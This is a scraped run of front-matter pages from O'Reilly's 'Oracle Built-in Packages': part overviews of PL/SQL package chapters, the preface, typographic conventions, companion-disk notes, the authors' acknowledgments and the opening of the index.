  • Chapter 5, Oracle Advanced Queuing, contains an extensive treatment of Oracle Advanced Queuing, a powerful queuing mechanism available with Oracle8, and the DBMS_AQ and DBMS_AQADM packages.

  • Chapter 6, Generating Output from PL/SQL Programs, shows you how to send information from your program either to the screen, using DBMS_OUTPUT, or to a server-side file, using UTL_FILE.

  • Chapter 7, Defining an Application Profile, familiarizes you with a handy package, DBMS_APPLICATION_INFO. You'll use it to "register" the current execution status of your application with the Oracle database.

  • Chapter 8, Managing Large Objects , shows you how Oracle8 provides robust support for large objects (sometimes known as BLOBs or LOBs), and how the DBMS_LOB built-in package allows you to access and manipulate these LOBs from within a PL/SQL program.

  • Chapter 9, Datatype Packages, collects together several packages that manipulate different types of data. DBMS_ROWID makes it easy to work with the two different ROWID formats available in Oracle8. UTL_RAW allows you to work with raw data. UTL_REF, new in Oracle8 Release 8.1, provides a PL/SQL interface to select and modify objects (instances of an object type) in an object table without having to specify or know about the underlying database table.

  • Chapter 10, Miscellaneous Packages, contains coverage of a number of packages: DBMS_UTILITY (the actual "miscellaneous" package), DBMS_DESCRIBE (gets information about the parameters of a stored program), DBMS_DDL (contains programs to recompile stored code, analyze objects in your schema, and modify the referenceability of object identifiers in Oracle8), and DBMS_RANDOM (a random number generator).

Previous: 1.4 Examining Built-in Package Source Code | Oracle Built-in Packages | Next: 2. Executing Dynamic SQL and PL/SQL
1.4 Examining Built-in Package Source Code | Book Index | 2. Executing Dynamic SQL and PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Part III] Server Management Packages

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 10.4 DBMS_RANDOM: Generating Random Numbers (Oracle8 Only) Part III Next: 11. Managing Session Information

Part III: Server Management Packages

This part of the book describes the built-in server management packages:

  • Chapter 11, Managing Session Information, introduces you to DBMS_SESSION and DBMS_SYSTEM; these two packages help you analyze and manage information about your current session.

  • Chapter 12, Managing Server Resources, presents DBMS_SPACE and DBMS_SHARED_POOL, which contain handy tools for database administrators to help them manage database-related resources on the server.

  • Chapter 13, Job Scheduling in the Database, shows you how to use DBMS_JOB to schedule the execution of stored procedures without the use of operating sytem-specific schedulers such as UNIX's cron.

Previous: 10.4 DBMS_RANDOM: Generating Random Numbers (Oracle8 Only) | Oracle Built-in Packages | Next: 11. Managing Session Information
10.4 DBMS_RANDOM: Generating Random Numbers (Oracle8 Only) | Book Index | 11. Managing Session Information
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Part IV] Distributed Database Packages

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 13.4 DBMS_JOB Examples Part IV Next: 14. Snapshots

Part IV: Distributed Database Packages

This part of the book describes the built-in distributed database packages:

  • Chapter 14, Snapshots, explores the packages, DBMS_SNAPSHOT, DBMS_REFRESH, and DBMS_OFFLINE_SNAPSHOT, and some programs in DBMS_REPCAT that show how to maintain snapshots, snapshot groups, and snapshot logs.

  • Chapter 15, Advanced Replication, explains how to use DBMS_REPCAT, DBMS_REPUTIL, DBMS_OFFLINE_OG, DBMS_REPCAT_ADMIN, DBMS_REPCAT_AUTH, and DBMS_RECTIFIER_DIFF to create and to administer your replicated databases.

  • Chapter 16, Conflict Resolution, shows you how to configure Oracle to automatically detect, correct, and report many forseeable conflicts by using procedures in DBMS_REPCAT to create and maintain custom resolution methods.

  • Chapter 17, Deferred Transactions and Remote Procedure Calls, introduces the DBMS_DEFER package and shows you how to queue deferred remote procedure calls (RPCs) and use DBMS_DEFER_QUERY and DBMS_DEFER_SYS to perform administrative and diagnostic activities.

Previous: 13.4 DBMS_JOB Examples | Oracle Built-in Packages | Next: 14. Snapshots
13.4 DBMS_JOB Examples | Book Index | 14. Snapshots
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Dedication

To Veva Silva, the woman who brought me to life.

--Steven Feuerstein

To Natalie.

--Charles Dye

To Arlene.

--John Beresniewicz

Oracle Built-in Packages | Next: Preface
Book Index | Preface
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Preface

Contents:
Structure of This Book
Conventions Used in This Book
Versions of Oracle
About the Disk
About PL/Vision
About Q
How to Contact Us
Acknowledgments

After publishing more than 1,600 pages on Oracle PL /SQL in two previous books, I marvel at the existence now of this third book covering yet other aspects of the PL /SQL language. I can still remember quite distinctly a moment in September, 1994, when I embarked on writing the first draft of Oracle PL /SQL Programming and wondered: are there really 400 pages worth of material on that much-used and often-maligned procedural language from a nonprocedural (SQL) company? If the answer to that question was a resounding "yes" in 1994, then the answer is a deafening roar today!

Maybe PL /SQL isn't the answer to every object-oriented programmer's deepest desires. Maybe developers are badly in need of -- and unreservedly deserve -- better tools with which to write, debug, and reuse PL /SQL programs. Maybe PL /SQL isn't perfect, but the reality is that hundreds of thousands of people around the world work (and struggle) with PL /SQL on a daily basis. We all need as much information as possible about how we can make the best possible use of Oracle PL /SQL.

And that is the objective of Oracle Built-in Packages. If you are going to build complex applications using PL /SQL, you will not succeed unless you learn about and figure out how to utilize many of the packages described in this book. Packages are the method of choice for Oracle and third parties like RevealNet, Inc., to extend the base PL /SQL language, to improve ease of use, and to provide brand-new functionality in the language. Writing PL /SQL code without knowing about or using built-in packages is akin to building an automobile and ignoring the last 20 years of technological advances. The resulting machine will run more slowly, use more gas, and be harder to repair.

Oracle Built-in Packages grew out of Chapter 15 of the first edition of Oracle PL /SQL Programming. When Oracle released Oracle8, it was time to update that book to include the wide-ranging new PL /SQL8 functionality. It was clear from the start that this second edition, if organized like the first, would have been well over 1,500 pages in length -- a totally impractical size for a developer's handbook.

What to do? Based on feedback from developers about Oracle PL /SQL Programming, there was an enormous amount of interest in, and often confusion surrounding, the built-in packages. These Oracle-provided "add-ons" to PL /SQL clearly needed more detailed coverage, more examples, more tips, more of just about everything. My single chapter of 100 pages was woefully inadequate. We made the decision to move that single chapter out of Oracle PL /SQL Programming and expand it into a book all its own. You are holding the result.

I recognized early in the process that I couldn't personally cover all of the Oracle built-in packages discussed in this book. I didn't have the necessary expertise, nor the time to learn, nor the time to write it all. So I sought and received the help of two excellent Oracle technologists: John Beresniewicz and Charles Dye.

Over the past six months, John, Charles, and I have researched the packages provided by Oracle in the database, verified the documentation, uncovered aberrant behavior, and discovered neat tricks. We also made it a priority to construct package-based utilities that you will be able to put to immediate use.

While Oracle Built-in Packages is a collaborative effort, it is also a combination of very individual efforts. As such, you will find differences in coding styles and philosophies. Rather than try to enforce a single standard throughout, I welcomed the variations (as long as all contributed in their own way to a deeper, clearer understanding of the PL /SQL technology). There is rarely a single right way to do anything, and there is an enormous amount we can learn from the different journeys each of us takes to a solution.

For purposes of directing feedback and questions, you may find it useful to know who wrote each of the chapters. In the next section, "Structure of this Book," you will find the names of the authors listed with their chapters. You will also see that there are two other names: Chuck Sisk and Chip Dawes. While many people helped in many ways to produce Oracle Built-in Packages (see the "Acknowledgements" for details), Chuck and Chip actually contributed entire chapters.

Structure of This Book

This book is divided into four parts:

Part 1, Overview

Chapter 1, Introduction, introduces you to PL /SQL packages generally and built-in packages specifically. It shows you how to call packaged code from your own programs and includes tips for handling the exceptions raised when you call a packaged program. (Steven)

Part 2, Application Development Packages

Chapter 2, Executing Dynamic SQL and PL/SQL, shows you how to use the DBMS_SQL package to construct and execute SQL statements and PL /SQL blocks at run-time. (Steven)

Chapter 3, Intersession Communication, shows you how to use DBMS_PIPE and DBMS_ALERT to communicate information between different Oracle sessions. You can also use DBMS_PIPE to communicate with processes external to Oracle. (John)

Chapter 4, User Lock and Transaction Management, introduces DBMS_LOCK, a handy but rarely used package that provides an interface to the Oracle lock manager, and DBMS_TRANSACTION, which offers several programs that affect transaction behavior in your PL /SQL program. (DBMS_LOCK -- John; DBMS_TRANSACTION -- Steven)

Chapter 5, Oracle Advanced Queuing, contains an extensive treatment of Oracle Advanced Queuing, a powerful queuing mechanism available with Oracle8. You'll use this mechanism through the DBMS_AQ and DBMS_AQADM packages. (Steven)

Chapter 6, Generating Output from PL/SQL Programs, shows you how to send information from your program either to the screen , using DBMS_OUTPUT, or to a server-side file, using UTL_FILE. (Steven)

Chapter 7, Defining an Application Profile, familiarizes you with a handy package, DBMS_APPLICATION_INFO. You'll use it to "register" the current execution status of your application with the Oracle database. (John)

Chapter 8, Managing Large Objects , shows you how Oracle8 provides robust support for large objects (sometimes known as "BLOBs" or "LOBs"), and how the DBMS_LOB built-in package allows you to access and manipulate these LOBs from within a PL /SQL program. (Chuck)

Chapter 9, Datatype Packages, collects together several packages that specialize in manipulating different types of data. DBMS_ROWID makes it easy to work with the two different ROWID formats available in Oracle8. UTL_RAW allows you to work with raw data. UTL_REF, new in Oracle8 Release 8.1, provides a PL /SQL interface to select and modify objects (instances of an object type) in an object table without having to specify or know about the underlying database table. (DBMS_ROWID -- Steven; UTL_RAW -- Chip; UTL_REF -- Steven)

Chapter 10, Miscellaneous Packages, contains coverage of a number of packages: DBMS_UTILITY (the actual "miscellaneous" package), DBMS_DDL (contains programs to recompile stored code, analyze objects in your schema, and modify how object identifiers may be referenced in Oracle8), DBMS_RANDOM (a random number generator), and DBMS_DESCRIBE (use it to get information about the parameters of a stored program). (Steven)

Part 3, Server Management Packages

Chapter 11, Managing Session Information, introduces you to DBMS_SESSION and DBMS_SYSTEM, two packages that help you analyze and manage information about your current session. (John)

Chapter 12, Managing Server Resources, presents DBMS_SPACE and DBMS_SHARED_POOL, which contain handy tools for database administrators to help them manage database-related resources on the server. (John)

Chapter 13, Job Scheduling in the Database, shows you how to use DBMS_ JOB to schedule the execution of stored procedures without the use of operating system-specific schedulers, such as UNIX's cron. (John)

Part 4, Distributed Database Packages

Chapter 14, Snapshots, explores the packages, DBMS_SNAPSHOT, DBMS_REFRESH, and DBMS_OFFLINE_SNAPSHOT, and some programs in DBMS_REPCAT, showing how to maintain snapshots, snapshot groups, and snapshot logs. (Charles)

Chapter 15, Advanced Replication, explains how to use DBMS_REPCAT, DBMS_REPUTIL, DBMS_OFFLINE_OG, DBMS_REPCAT_ADMIN, DBMS_REPCAT_AUTH, and DBMS_RECTIFIER_DIFF to create and administer your replicated databases. (Charles)

Chapter 16, Conflict Resolution, shows you how to configure Oracle to automatically detect, correct, and report many forseeable conflicts by using procedures in DBMS_REPCAT to create and maintain custom resolution methods. (Charles)

Chapter 17, Deferred Transactions and Remote Procedure Calls, introduces the DBMS_DEFER package and shows you how to queue deferred remote procedure calls (RPCs) and use DBMS_DEFER_QUERY and DBMS_DEFER_SYS to perform administrative and diagnostic activities. (Charles)

Appendix A, What's on the Companion Disk?, explains how to install and use the software on the companion diskette. (A group effort)

Previous: Dedication | Oracle Built-in Packages | Next: Conventions Used in This Book
Dedication | Book Index | Conventions Used in This Book
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Conventions Used in This Book

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

Conventions Used in This Book

The following conventions are used in this book:

Italic

Used for file and directory names and URLs.

Constant width

Used for code examples.

Constant width bold

In some code examples, highlights the statements being discussed.

Constant width italic

In some code examples, indicates an element (e.g., a filename) that you supply.

UPPERCASE

In code examples, indicates PL /SQL keywords.

lowercase

In code examples, indicates user-defined items such as variables, parameters, etc.

Punctuation

In code examples, enter exactly as shown.

Indentation

In code examples, helps to show structure (but is not required).

‐‐

In code examples, a double hyphen begins a single-line comment, which extends to the end of a line.

/* and */

In code examples, these characters delimit a multiline comment, which can extend from one line to another.

.

In code examples and related discussions, a dot qualifies a reference by separating an object name from a component name. For example, dot notation is used to select fields in a record and to specify declarations within a package.

< >

In syntax descriptions, angle brackets enclose the name of a syntactic element.

[ ]

In syntax descriptions, square brackets enclose optional items.

{ }

In syntax descriptions, curly brackets enclose a set of items; you must choose only one of them.

|

In syntax descriptions, a vertical bar separates the items enclosed in curly brackets, as in {VARCHAR2 | DATE | NUMBER }.

Previous: Structure of This Book | Oracle Built-in Packages | Next: Versions of Oracle
Structure of This Book | Book Index | Versions of Oracle
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Versions of Oracle

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

Versions of Oracle

The built-in packages of Oracle PL /SQL discussed in this book are installed in the Oracle database. Each version of the Oracle database comes with its corresponding version of PL /SQL and its set of built-in packages. Most of the built-in packages became available with Oracle Release 7.1. A number of new packages were provided with Oracle8. The text describes which packages are available only with specific versions of Oracle.

Previous: Conventions Used in This Book | Oracle Built-in Packages | Next: About the Disk
Conventions Used in This Book | Book Index | About the Disk
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] About the Disk

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

About the Disk

The content of the companion Windows disk that accompanies this book has been included on this CD, in the /bipack/disk/ directory. It contains the Companion Utilities Guide for Oracle Built-in Packages, an online tool developed by RevealNet, Inc., that gives you point-and-click access to more than 175 files of source code and documentation that we developed. Many of the code examples are also printed in the book. We've included these to give you a jump-start on writing your own PL /SQL code and to keep you from having to type many pages of PL /SQL statements from printed text.

Appendix A, describes how to install the Windows-based interface. You can run the software in any Microsoft Windows environment. If you are working in a non-Windows environment, you can obtain a compressed file containing the utilities on the desk from the RevealNet PL /SQL Pipeline Archives at http://www.revealnet.com/plsql-pipeline.

Previous: Versions of Oracle | Oracle Built-in Packages | Next: About PL/Vision
Versions of Oracle | Book Index | About PL/Vision
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] About PL/Vision

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

About PL/Vision

You will find a number of references to PL/Vision in this book. PL/Vision is a library of PL /SQL packages from RevealNet. PL/Vision was designed and implemented by Steven Feuerstein; it is described in great detail in his second book, Advanced Oracle PL /SQL Programming with Packages (O'Reilly & Associates, 1996). Several points to keep in mind about PL/Vision:

  • You do not need to install PL/Vision in order to use the built-in packages described in this book. Hovever, a number of PL/Vision packages make it easier for you to take advantage of built-in package functionality (including PLVdyn, PLVfile and the p package).

  • You do not have to purchase PL/Vision in order to take advantage of at least some of its functionality (certainly anything mentioned in this book). You can download PL/Vision Lite, the companion software for Advanced Oracle PL /SQL Programming with Packages, from http://www.revealnet.com.

  • You can also get information about PL/Vision Professional (and download a trial version) from the http://www.revealnet.com web site. PL/Vision Professional is the full-use version of PL/Vision, consisting of more than 50 packages (as of January 1998).

Previous: About the Disk | Oracle Built-in Packages | Next: About Q
About the Disk | Book Index | About Q
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] About Q

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

About Q

John Beresniewicz is one of the principal designers and implementers of the Q family of products from Savant Corporation. Q is a major application based primarily on PL/SQL code that uses the Oracle built-in packages; John's knowledge and experience with the built-ins is largely derived from his work on Q.

Q is designed to help DBAs and developers address performance tuning, problem diagnosis, and space management issues in networked database environments. Q includes facilities for database tuning and diagnostics, SQL tuning, event and alarm generation, network diagnostics, PC troubleshooting, and broadcast messaging. The Q Diagnostic Center for Oracle is a powerful diagnostic tool for analyzing Oracle performance problems. The product architecture combines a unique graphical interface utilizing principles of visual intelligence, which communicates with a data access layer implemented entirely as PL/SQL packages. Q also includes a PL/SQL server-side agent executing under the Oracle job queue.

If you are interested in Savant Corporation and the Q product family, please visit http://www.savant-corp.com. A fully functional trial copy of the Q Diagnostic Center for Oracle and PC can be downloaded from the site.

Previous: About PL/Vision | Oracle Built-in Packages | Next: How to Contact Us
About PL/Vision | Book Index | How to Contact Us
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] How to Contact Us

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

How to Contact Us

We have tested and verified the information in this book to the best of our ability, but you may find that features have changed (or even that we have made mistakes!). Please let us know about any errors you find, as well as your suggestions for future editions, by writing to:

O'Reilly & Associates
101 Morris Street
Sebastopol, CA 95472
800-998-9938 (in the U.S. or Canada)
707-829-0515 (international or local)
707-829-0104 (fax)

You can also send us messages electronically. To be put on the mailing list or request a catalog, send email to:

info@oreilly.com

To ask technical questions or comment on the book, send email to:

bookquestions@oreilly.com

We have a web site for the book, where we'll list examples, errata, and any plans for future editions. You can access this page at:

http://www.oreilly.com/catalog/oraclebip/

For more information about this book and others, see the O'Reilly web site:

http://www.oreilly.com

If you have any questions about the disk supplied with this book, contact RevealNet, Inc. at:

http://www.revealnet.com

Previous: About Q | Oracle Built-in Packages | Next: Acknowledgments
About Q | Book Index | Acknowledgments
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Acknowledgments

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

Acknowledgments

We have many people to thank. Here are acknowledgments from all three of us.

Steven

Help! I started writing big, fat books about PL /SQL and I just can't stop myself!

It almost feels that way sometimes. As I was finishing up my first book, Oracle PL /SQL Programming, I sighed as I thought about the summer of 1996: the workload would let up and I could actually enjoy the sun and the season. As my son, Eli, would say: "Yeah, right." By the summer of 1996, I was busy writing Advanced Oracle PL /SQL Programming with Packages, turning PL/Vision into an actual product people would buy, and, due largely to the enthusiastic reception for Oracle PL /SQL Programming, doing more and more training.

Now it is the winter of 1998 and I am at it again. So, yes, it is true that I just cannot stop myself (Debby Russell, my editor, is already talking about a Quick Reference), but it is also very true that I received loads of help in writing this book. A saving grace of my busy life right now is that I am getting help from sharp, enthusiastic PL /SQL developers from all around the world -- and it is time to name names.

First and foremost, I thank my coauthors: John Beresniewicz ("John B") and Charles Dye ("Daddy," being the father of a newborn -- I cannot even imagine writing a book in the midst of becoming a new dad, and he is already working on another book!). While there are challenges aplenty in a writing coauthorship, the rewards are also numerous. Charles explored and made available to all of us in great detail a chunk of Oracle technology about which I am ignorant. John B was my "dream come true:" an experienced developer with an orientation towards constructing generic, reusable components that will be enriching the lives of PL /SQL developers for years to come. And while they will without a doubt be heaping praise on their spouses, I would also like to thank Arlene Haskins and Kathy Dye for their toleration of my imposition on their husbands' time and attention.

Next! Even with Charles and John lined up to write significant chunks of this book, I was still more than happy to "share the opportunity" with others. Chuck Sisk (csisk@saraswati.com) and Chip Dawes (chipd@mcs.net), both consultants with SSC in Chicago, volunteered to take on the DBMS_LOB and UTL_RAW packages, respectively. Their involvement has enriched the book, and I deeply appreciate their willingness to help. I also thank Bert Scalzo for his very early efforts as a contributor. He was not able to continue, due to an illness in his family, but his enthusiasm and effort did have its impact on the book.

Several people got involved in the critical task of technical review. Any errors you discover in this book are the responsibility of its authors, but there are many fewer errors due to the hard work of Dan Clamage, Ken Denny, Ken Geis, Eric Givler, Shobana Gurumurthy, Dwayne King, Phil Pitha, Bill Pribyl, Kevin Taufner, Rick Wessman, Jay Weiland, and Solomon Yakobson. And when it comes to technical review, it is hard to beat the keen eye of members of the Oracle PL /SQL team (and elsewhere within Oracle). Many thanks to Shirish Puranik for coordinating the effort, as well as the detailed feedback provided by Sashikanth Chandrasekaran, Brajesh Goyal, Radhakrishna Hari, Susan Kotsovolos, Amit Jasuja, and Alex Tsukerman.

I promised Debby that my acknowledgments would be shorter in length than the chapter on Oracle Advanced Queueing, so let me simply add that I am grateful to:

  • Steve Hilker of RevealNet, Inc. for putting together an excellent Companion Disk resource, and to the rest of the crew at RevealNet for supporting my writing in the midst of aggressive, exciting productive development cycles.

  • Bill Hinman, Barrie Hinman, and Sandra Wilbert for providing a solid foundation from which I do all of my work here in Chicago.

  • Tony Ziemba for his continued support (and publication through Oracle Developer from Pinnacle) of my writing and PL /SQL evangelism.

Many thanks to the staff of O'Reilly & Associates for another wonderful effort: John Files, the production editor for the book; Nancy Wolfe Kotary, who copyedited this enormous book in record time; Claire LeBlanc, who coordinated the production work in Cambridge (and did a good deal of it herself); Mike Sierra, who converted the files to Frame and performed all kinds of system wizardry; Sebastian Banker, Kimo Carter, Mary Costulas, Will Plummer, and Susan Reinbold, who entered edits into the files; Rob Romano, who created the figures; Edie Freedman, who designed the cover; Nancy Priest, who designed the interior format; and Joel Berson, who prepared the index (and improved the text while he was at it); and finally Debby Russell, my editor and friend, whose enthusiasm for this book never wavered, even as the page count increased.

And what about my family? Don't I want to thank them, too? Sure! Thanks, Veva, for putting up with me being around the house so much this past year -- except when I was on the road, and then thanks for never forgetting what I look like. Thanks, Eli, for becoming an adolescent at the same time that I got really busy and travelled too much. You had and have more important things in your life going on than seeking out Dad for entertainment. Though we did, come to think of it, play lots of darts and pool and ping pong.

From Charles

At last the fun part has arrived: acknowledging those who have helped me to nurture my contribution to this book from an enticing proposition to a finished product. While I may have shouldered the responsibility for actually researching and writing about the distributed database packages, there are several individuals without whose assistance I would not be a position to pen this acknowledgment.

My wife Kathy has been unwavering in her support and enthusiasm for my work with O'Reilly & Associates. It's one thing to come home from the salt mines each day to work on a project like this, and another to come home to somebody who encourages you when you just don't feel like it, and who understands when her mate overlooks domestic responsibilities such as washing the dishes. Also, at about the same time that this book project was hatched, Kathy assumed the role of mother, and brought little Natalie into this world on December 19, 1997. Happily, that date corresponds favorably with the completion of this book!

Of course, without Steven Feuerstein, I would not have had the opportunity to contribute to this book in the first place. Even before this project, I had a great deal of respect for Steven's work: all of his other O'Reilly titles adorn my shelves, well thumbed. Needless to say, it was a tremendous honor when he selected me to assist him with this book. And, after working with him for the past several months, I have found that he is a friendly, helpful, and reliable guy, in addition to being an outstanding technical resource. I hope we have the opportunity to collaborate on future projects.

Debby Russell, our editor from O'Reilly & Associates is the person who put Steven and me in touch with each other. Now, I seriously doubt that Debby spends much time administering replicated Oracle databases or cutting PL /SQL code, and I think that's precisely the reason why she has been able to craft this book into something you would want to purchase. She has been both a referee and a cheerleader as Steven, John, and I have agreed and disagreed on format and organization. Debby is also supporting my writing of another O'Reilly book: Distributed Oracle Systems.

The person most responsible for sparking my interest in Oracle's replication technology is Jenny Tsai of Oracle Education. She was my instructor for the Symmetric Replication class, which I took back in 1995. Besides successfully teaching a complex and perhaps esoteric topic to students of varying aptitudes, Jenny has also provided clarification and confirmation of various Oracle replication functionality as I have deployed the technology in the real world. Additionally, Jenny has reviewed my material for this book with the utmost diligence and has found answers to the most obscure conundra. Many thanks as well to Sue Jang, Gordon Smith, and Norman Woo from Oracle, who helped me a great deal in reviewing this book. I am also very grateful to two technical reviewers from outside Oracle Corporation: Lu Cheng and Peter Grendler.

Finally, I thank John Sullivan. I do actually have a real job. When I was writing this book, I was the DBA for The Dialog Corporation (formally Knight-Ridder Information, Inc.), and John Sullivan was my boss. Unlike Dilbert's pointy-haired dolt boss, John understood that a happy employee is a productive employee. He granted immeasurable latitude in how I met my workday responsibilities, and indulged my requests for the equipment and time required to research the topics covered in this and my upcoming book.

From John

There are so many to thank and acknowledge: my parents first of all for their guidance, love, and support; my friend, and first Oracle mentor, John Cullen; my employer (and friend) Bill Wynn, founder of Savant Corporation, whose confidence in me often exceeds my own. Thanks also to Steven, Charles, and Debby Russell for making this book happen; it's been hard work, but well worth it. Very special thanks and so much more to Arlene, whose personal sacrifices for this book and my career exceed all others. Her love and support have been heroic. Finally, I offer the greatest praise and recognition to my Guru, Avatar Adi Da Samraj. It is my sincere hope that the great event of His appearance in this time will soon be widely recognized worldwide.

Previous: How to Contact Us | Oracle Built-in Packages | Next: I. Overview
How to Contact Us | Book Index | I. Overview
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: Symbols and Numbers

% (multiple-character substitution) : 5.7.5.1. Wildcarded correlation identifiers
<datatype>_ARG procedure (DBMS_DEFER)
17.3.1.1. DBMS_DEFER programs
17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
=> (named notation) : 5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure
[ and ] (optional parameters) : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
_ (single-character substitution) : 5.7.5.1. Wildcarded correlation identifiers

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: A

ABORTED_REQUEST_THRESHOLD procedure
12.2.1. Getting Started with DBMS_SHARED_POOL
12.2.3.2. The DBMS_SHARED_POOL.ABORTED_REQUEST_THRESHOLD procedure
absolute file numbers, returning : 9.1.3.7. The DBMS_ROWID.ROWID_TO_ABSOLUTE_FNO function
action names
registering : 7.2.5. The DBMS_APPLICATION_INFO.SET_MODULE procedure
returning : 7.2.2. The DBMS_APPLICATION_INFO.READ_MODULE procedure
action procedure
7.3.1. About the register_app Package
7.3.2. The action Procedure
ad-hoc query generation, Method 4 dynamic SQL used for : 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL
ADD procedure
14.2.1. Getting Started with DBMS_REFRESH
14.2.3.1. The DBMS_REFRESH.ADD procedure
ADD_<conflicttype>_RESOLUTION procedure
16.1.1. DBMS_REPCAT Programs
16.5.1.1. The DBMS_REPCAT.ADD_<conflicttype>_RESOLUTION
ADD_DEFAULT_DEST procedure
17.2.1.1. DBMS_DEFER_SYS programs
17.2.2.1. The DBMS_DEFER.SYS.ADD_DEFAULT_DEST procedure
ADD_DELETE_RESOLUTION procedure : 16.5.1.1. The DBMS_REPCAT.ADD_<conflicttype>_RESOLUTION
ADD_GROUPED_COLUMN procedure
16.1.1. DBMS_REPCAT Programs
16.2.3.1. The DBMS_REPCAT.ADD_GROUPED_COLUMN procedure
ADD_MASTER_DATABASE procedure
15.3.1.1. DBMS_REPCAT programs
15.3.5.1. The DBMS_REPCAT.ADD_MASTER_DATABASE procedure
ADD_PRIORITY_<datatype> procedure
16.1.1. DBMS_REPCAT Programs
16.3.3.1. The DBMS_REPCAT.ADD_PRIORITY_<datatype> procedure
ADD_SITE_PRIORITY_SITE procedure
16.1.1. DBMS_REPCAT Programs
16.4.3.1. The DBMS_REPCAT.ADD_SITE_PRIORITY_SITE procedure
ADD_SUBSCRIBER procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.3.1. The DBMS_AQADM.ADD_SUBSCRIBER procedure
ADD_UNIQUE_RESOLUTION procedure : 16.5.1.1. The DBMS_REPCAT.ADD_<conflicttype>_RESOLUTION
ADD_UPDATE_RESOLUTION procedure : 16.5.1.1. The DBMS_REPCAT.ADD_<conflicttype>_RESOLUTION
